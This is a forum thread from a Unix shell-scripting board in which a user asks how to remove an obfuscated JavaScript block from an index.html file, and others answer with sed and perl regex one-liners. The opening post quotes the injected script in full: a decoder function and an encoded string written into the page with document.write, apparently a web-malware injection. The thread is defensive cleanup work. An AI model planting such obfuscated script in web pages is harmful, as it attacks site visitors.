The UNIX and Linux Forums  

Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
Google UNIX.COM


Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts here.

More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
how to clear history gincemathew UNIX for Dummies Questions & Answers 7 09-01-2008 12:43 PM
how i prepare a c++ code(c code) for implementing my own protocol format amitpansuria High Level Programming 1 09-06-2007 08:09 PM
javascript injection fed.linuxgossip Shell Programming and Scripting 20 08-21-2007 03:46 AM
javascript onClick help k@ssidy UNIX for Dummies Questions & Answers 1 10-12-2005 05:18 PM
Please help me clear up some confusion RoY_mUnSoN UNIX for Dummies Questions & Answers 2 02-25-2004 01:39 PM

Reply
 
Submit Tools LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 07-23-2008
Registered User
 

Join Date: Mar 2007
Posts: 87
Stumble this Post!
clear complex javascript code

Hi,

Please advise how can we clear the following javascript content from a file commandline, probably using awk or sed

File before removing the content.
################################
root@server1 [~]# cat index.html

This is a test page

<script language=JavaScript>function d(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,30,9,49,32,33,37,42,60,14,0,0,0,0,0,0,58,28,8,4,13,23 ,5,35,18,39,15,41,25,38,11,36,17,43,22,7,26,57,27,44,6,12,2,0,0,0,0,48,0,56,24,61,54,19,59,20,52,10, 1,50,3,21,51,0,40,31,45,34,16,47,55,62,53,46,29);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}d("Lk8_EeYkoEpxEVYMZdAhPEcIi7phHNcsRSD3PnWxPnW3ZqD3luBnNJWkiTW_YGa3Y uWszvzvNTW_YQ2hRl8xgib5HnA_PvYMZ9K4FdY_YNAnPGK4eib5RSDv2lYMZ9DnRn83YIYnPncIFdYnjSY_NfK4VMKsYJ8xCGY_V Z")</script> This is a testing page

root@server1 [~]#




File after removing the content.
################################
root@server1 [~]# cat index.html

This is a test page

This is a testing page

root@server1 [~]#


Thanks
Reply With Quote
Forum Sponsor
  #2 (permalink)  
Old 07-23-2008
Registered User
 

Join Date: Jul 2008
Location: BlackMesh Managed Hosting
Posts: 61
Stumble this Post!
SpiderMonkey (JavaScript-C) Engine

Save yourself a lot of trouble and just run the JS from the command line. Here's a quick-and-dirty tutorial.
Reply With Quote
  #3 (permalink)  
Old 07-24-2008
Registered User
 

Join Date: Mar 2007
Posts: 87
Stumble this Post!
sed '/<script language=JavaScript/,/<\/script>/d' index.html

this should clear the code, but it will also clear genuine or any other javascript codes.
Reply With Quote
  #4 (permalink)  
Old 07-24-2008
era era is offline
Herder of Useless Cats
 

Join Date: Mar 2008
Location: /there/is/only/bin/sh
Posts: 3,650
Stumble this Post!
The sed command above will also remove all lines completely, so if you have </script> followed by some literal text (as in the given example), the literal text will be removed, too.

You could use XSLT to properly parse and extract the parts of the file you want, or you could do something like

Code:
perl -0777 -pe 's%<script language=JavaScript>.*?</script>%%gs' index.html
Maybe you want to make the regular expression a bit more general if this is meant to be more than a one-off job;

Code:
perl -0777 -pe 's%<script\s+language="?JavaScript"?>.*?</script>%%gis' index.html
Incidentally, this is a frequently recurring question; search this site for threads about multi-line substitution or XML/HTML substitution.
Reply With Quote
  #5 (permalink)  
Old 07-24-2008
Registered User
 

Join Date: Mar 2007
Posts: 87
Stumble this Post!
era,

Excellent, you are bang on target. can extent you command to perform the operation on JavaScript enclosures only if that contain for example "cIFdYnjSY_NfK4VMKsYJ8xCGY_V Z"


Thanks
Reply With Quote
  #6 (permalink)  
Old 07-24-2008
era era is offline
Herder of Useless Cats
 

Join Date: Mar 2008
Location: /there/is/only/bin/sh
Posts: 3,650
Stumble this Post!
Something like this maybe?

Code:
perl -0777 -pe 's%<script\s+language="?JavaScript"?>.*?cIFdYnjSY_NfK4VMKsYJ8xCGY_V Z.*?</script>%%gis' index.html
Reply With Quote
  #7 (permalink)  
Old 07-24-2008
Registered User
 

Join Date: Mar 2007
Posts: 87
Stumble this Post!
era,

Perfect.

Thanks a ton.
Reply With Quote
Google The UNIX and Linux Forums
Reply

Thread Tools
Display Modes




All times are GMT -7. The time now is 07:52 AM.


Powered by: vBulletin, Copyright ©2000 - 2006, Jelsoft Enterprises Limited.
The UNIX and Linux Forums Content Copyright ©1993-2008 The CEP Blog All Rights Reserved -Ad Management by RedTyger Visit The Global Fact Book

Content Relevant URLs by vBSEO 3.2.0